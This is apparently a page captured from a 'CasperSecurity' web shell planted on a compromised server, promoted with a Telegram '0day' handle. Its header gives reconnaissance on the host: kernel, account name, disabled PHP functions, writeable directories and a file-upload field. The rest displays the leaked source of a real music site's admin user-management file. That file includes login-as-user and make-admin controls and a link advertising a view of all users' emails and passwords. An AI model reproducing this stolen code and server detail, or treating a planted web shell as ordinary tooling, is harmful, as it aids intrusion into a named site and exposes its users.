T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/public_html/admin_includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/public_html/admin_includes/users.php
<?php
// User Management Tab
// This file handles all user management functionality

// Get comprehensive user statistics
$user_stats = $pdo->query("
    SELECT 
        COUNT(*) as total_users,
        COUNT(CASE WHEN is_admin = 1 THEN 1 END) as admin_users,
        COUNT(CASE WHEN plan = 'free' THEN 1 END) as free_users,
        COUNT(CASE WHEN plan = 'starter' THEN 1 END) as starter_users,
        COUNT(CASE WHEN plan = 'pro' THEN 1 END) as pro_users,
        SUM(credits) as total_credits,
        AVG(credits) as avg_credits
    FROM users
")->fetch();

// Get all users for management with detailed statistics
try {
    $stmt = $pdo->prepare("
        SELECT 
            u.id,
            u.name,
            u.email,
            u.plan,
            u.credits,
            u.created_at,
            u.is_admin,
            COUNT(mt.id) as total_tracks,
            COUNT(CASE WHEN mt.status = 'complete' THEN 1 END) as completed_tracks,
            COUNT(CASE WHEN mt.status = 'processing' THEN 1 END) as processing_tracks,
            COUNT(CASE WHEN mt.status = 'failed' THEN 1 END) as failed_tracks,
            MAX(mt.created_at) as last_activity
        FROM users u
        LEFT JOIN music_tracks mt ON u.id = mt.user_id
        GROUP BY u.id, u.name, u.email, u.plan, u.credits, u.created_at, u.is_admin
        ORDER BY u.created_at DESC
    ");
    $stmt->execute();
    $users = $stmt->fetchAll();
} catch (Exception $e) {
    $users = [];
}
?>

<!-- User Management -->
<div class="section-header">
    <h2><i class="fas fa-users"></i> User Management</h2>
    <p>Manage user accounts, permissions, and activity</p>
</div>

<div style="margin-bottom: 2rem;">
    <a href="?tab=user-accounts" class="btn btn-secondary" style="text-decoration: none; display: inline-block;">
        <i class="fas fa-list"></i> View All Accounts (Emails & Passwords)
    </a>
</div>

<!-- User Statistics Cards -->
<div class="stats-grid" style="margin-bottom: 3rem;">
    <div class="stat-card">
        <div class="stat-number"><?= number_format($user_stats['total_users']) ?></div>
        <div class="stat-label">Total Users</div>
    </div>
    <div class="stat-card">
        <div class="stat-number"><?= number_format($user_stats['admin_users']) ?></div>
        <div class="stat-label">Admin Users</div>
    </div>
    <div class="stat-card">
        <div class="stat-number"><?= number_format($user_stats['premium_users'] ?? ($user_stats['starter_users'] + $user_stats['pro_users'])) ?></div>
        <div class="stat-label">Premium Users</div>
    </div>
    <div class="stat-card">
        <div class="stat-number"><?= number_format($user_stats['total_credits']) ?></div>
        <div class="stat-label">Total Credits</div>
    </div>
</div>

<input type="text" id="userSearch" placeholder="Search users by name, email, or plan..." class="search-input">

<div class="table-container">
<table class="data-table">
    <thead>
        <tr>
            <th>User</th>
            <th>Email</th>
            <th>Plan</th>
            <th>Status</th>
            <th>Tracks</th>
            <th>Credits</th>
            <th>Joined</th>
            <th>Last Activity</th>
            <th>Actions</th>
        </tr>
    </thead>
    <tbody>
        <?php foreach ($users as $user): ?>
        <tr data-user-id="<?= $user['id'] ?>">
            <td>
                <div style="display: flex; align-items: center; gap: 1rem;">
                    <div style="width: 40px; height: 40px; background: linear-gradient(135deg, #667eea, #764ba2); border-radius: 50%; display: flex; align-items: center; justify-content: center; font-weight: bold; color: white;">
                        <?= substr($user['name'], 0, 1) ?>
                    </div>
                    <div>
                        <div class="user-name" style="font-weight: 600; color: white;"><?= htmlspecialchars($user['name']) ?></div>
                        <div style="font-size: 1.2rem; color: #a0aec0;">ID: <?= $user['id'] ?></div>
                    </div>
                </div>
            </td>
            <td class="user-email"><?= htmlspecialchars($user['email']) ?></td>
            <td>
                <span class="status-badge plan-badge plan-<?= strtolower($user['plan']) ?>">
                    <?= ucfirst($user['plan']) ?>
                </span>
            </td>
            <td>
                <span class="status-badge <?= $user['is_admin'] ? 'status-admin' : 'status-user' ?>">
                    <?= $user['is_admin'] ? 'Admin' : 'User' ?>
                </span>
            </td>
            <td>
                <div style="display: flex; flex-direction: column; gap: 0.2rem;">
                    <span><?= $user['total_tracks'] ?> total</span>
                    <span style="color: #48bb78;"><?= $user['completed_tracks'] ?> completed</span>
                    <?php if ($user['processing_tracks'] > 0): ?>
                    <span style="color: #f59e0b;"><?= $user['processing_tracks'] ?> processing</span>
                    <?php endif; ?>
                    <?php if ($user['failed_tracks'] > 0): ?>
                    <span style="color: #f56565;"><?= $user['failed_tracks'] ?> failed</span>
                    <?php endif; ?>
                </div>
            </td>
            <td class="user-credits"><?= $user['credits'] ?> Credits</td>
            <td><?= date('M j, Y', strtotime($user['created_at'])) ?></td>
            <td><?= $user['last_activity'] ? date('M j, H:i', strtotime($user['last_activity'])) : 'Never' ?></td>
            <td>
                <div class="action-buttons">
                    <button class="btn btn-secondary btn-sm" onclick="editUser(<?= $user['id'] ?>)">
                        <i class="fas fa-edit"></i>
                    </button>
                    <button class="btn btn-primary btn-sm" onclick="loginAsUser(<?= $user['id'] ?>)">
                        <i class="fas fa-sign-in-alt"></i>
                    </button>
                    <button class="btn btn-warning btn-sm" onclick="changePassword(<?= $user['id'] ?>, '<?= htmlspecialchars($user['email'], ENT_QUOTES) ?>')" title="Change Password">
                        <i class="fas fa-key"></i>
                    </button>
                    <?php if ($user['plan'] !== 'pro'): ?>
                    <button class="btn btn-success btn-sm" onclick="upgradeToPro(<?= $user['id'] ?>, '<?= htmlspecialchars($user['email'], ENT_QUOTES) ?>')" title="Upgrade to Pro">
                        <i class="fas fa-star"></i> Pro
                    </button>
                    <?php else: ?>
                    <span class="status-badge plan-badge plan-pro" style="font-size: 0.75rem; padding: 0.25rem 0.5rem;">Pro</span>
                    <?php endif; ?>
                    <?php if (!$user['is_admin']): ?>
                    <button class="btn btn-success btn-sm" onclick="makeAdmin(<?= $user['id'] ?>)">
                        <i class="fas fa-crown"></i>
                    </button>
                    <?php else: ?>
                    <button class="btn btn-secondary btn-sm" onclick="removeAdmin(<?= $user['id'] ?>)">
                        <i class="fas fa-user"></i>
                    </button>
                    <?php endif; ?>
                    <button class="btn btn-danger btn-sm" onclick="deleteUser(<?= $user['id'] ?>)">
                        <i class="fas fa-trash"></i>
                    </button>
                </div>
            </td>
        </tr>
        <?php endforeach; ?>
    </tbody>
</table>
</div>

<!-- Mobile Card Layout -->
<div class="user-cards-mobile">
    <?php foreach ($users as $user): ?>
    <div class="user-card" data-user-id="<?= $user['id'] ?>">
        <div class="user-card-header">
            <div class="user-card-avatar"><?= substr($user['name'], 0, 1) ?></div>
            <div class="user-card-info">
                <div class="user-card-name"><?= htmlspecialchars($user['name']) ?></div>
                <div class="user-card-email"><?= htmlspecialchars($user['email']) ?></div>
            </div>
        </div>
        <div class="user-card-details">
            <div class="user-card-row">
                <span class="user-card-label">ID:</span>
                <span class="user-card-value"><?= $user['id'] ?></span>
            </div>
            <div class="user-card-row">
                <span class="user-card-label">Plan:</span>
                <span class="user-card-value">
                    <span class="status-badge plan-badge plan-<?= strtolower($user['plan']) ?>">
                        <?= ucfirst($user['plan']) ?>
                    </span>
                </span>
            </div>
            <div class="user-card-row">
                <span class="user-card-label">Status:</span>
                <span class="user-card-value">
                    <span class="status-badge <?= $user['is_admin'] ? 'status-admin' : 'status-user' ?>">
                        <?= $user['is_admin'] ? 'Admin' : 'User' ?>
                    </span>
                </span>
            </div>
            <div class="user-card-row">
                <span class="user-card-label">Tracks:</span>
                <span class="user-card-value">
                    <?= $user['total_tracks'] ?> total
                    <?php if ($user['completed_tracks'] > 0): ?>
                        <span style="color: #48bb78;"> · <?= $user['completed_tracks'] ?> completed</span>
                    <?php endif; ?>
                    <?php if ($user['processing_tracks'] > 0): ?>
                        <span style="color: #f59e0b;"> · <?= $user['processing_tracks'] ?> processing</span>
                    <?php endif; ?>
                    <?php if ($user['failed_tracks'] > 0): ?>
                        <span style="color: #f56565;"> · <?= $user['failed_tracks'] ?> failed</span>
                    <?php endif; ?>
                </span>
            </div>
            <div class="user-card-row">
                <span class="user-card-label">Credits:</span>
                <span class="user-card-value"><?= $user['credits'] ?></span>
            </div>
            <div class="user-card-row">
                <span class="user-card-label">Joined:</span>
                <span class="user-card-value"><?= date('M j, Y', strtotime($user['created_at'])) ?></span>
            </div>
            <div class="user-card-row">
                <span class="user-card-label">Last Activity:</span>
                <span class="user-card-value"><?= $user['last_activity'] ? date('M j, H:i', strtotime($user['last_activity'])) : 'Never' ?></span>
            </div>
        </div>
        <div class="user-card-actions">
            <button class="btn btn-secondary btn-sm" onclick="editUser(<?= $user['id'] ?>)" title="Edit">
                <i class="fas fa-edit"></i>
            </button>
            <button class="btn btn-primary btn-sm" onclick="loginAsUser(<?= $user['id'] ?>)" title="Login As">
                <i class="fas fa-sign-in-alt"></i>
            </button>
            <button class="btn btn-warning btn-sm" onclick="changePassword(<?= $user['id'] ?>, '<?= htmlspecialchars($user['email'], ENT_QUOTES) ?>')" title="Change Password">
                <i class="fas fa-key"></i>
            </button>
            <?php if ($user['plan'] !== 'pro'): ?>
            <button class="btn btn-success btn-sm" onclick="upgradeToPro(<?= $user['id'] ?>, '<?= htmlspecialchars($user['email'], ENT_QUOTES) ?>')" title="Upgrade to Pro">
                <i class="fas fa-star"></i>
            </button>
            <?php endif; ?>
            <?php if (!$user['is_admin']): ?>
            <button class="btn btn-success btn-sm" onclick="makeAdmin(<?= $user['id'] ?>)" title="Make Admin">
                <i class="fas fa-crown"></i>
            </button>
            <?php else: ?>
            <button class="btn btn-secondary btn-sm" onclick="removeAdmin(<?= $user['id'] ?>)" title="Remove Admin">
                <i class="fas fa-user"></i>
            </button>
            <?php endif; ?>
            <button class="btn btn-danger btn-sm" onclick="deleteUser(<?= $user['id'] ?>)" title="Delete">
                <i class="fas fa-trash"></i>
            </button>
        </div>
    </div>
    <?php endforeach; ?>
</div>

<script>
// User search functionality - works for both table and cards
document.getElementById('userSearch')?.addEventListener('input', function() {
    const query = this.value.toLowerCase();
    const rows = document.querySelectorAll('.data-table tbody tr');
    const cards = document.querySelectorAll('.user-card');
    
    rows.forEach(row => {
        const text = row.textContent.toLowerCase();
        row.style.display = text.includes(query) ? '' : 'none';
    });
    
    cards.forEach(card => {
        const text = card.textContent.toLowerCase();
        card.style.display = text.includes(query) ? '' : 'none';
    });
});
</script> 

CasperSecurity Mini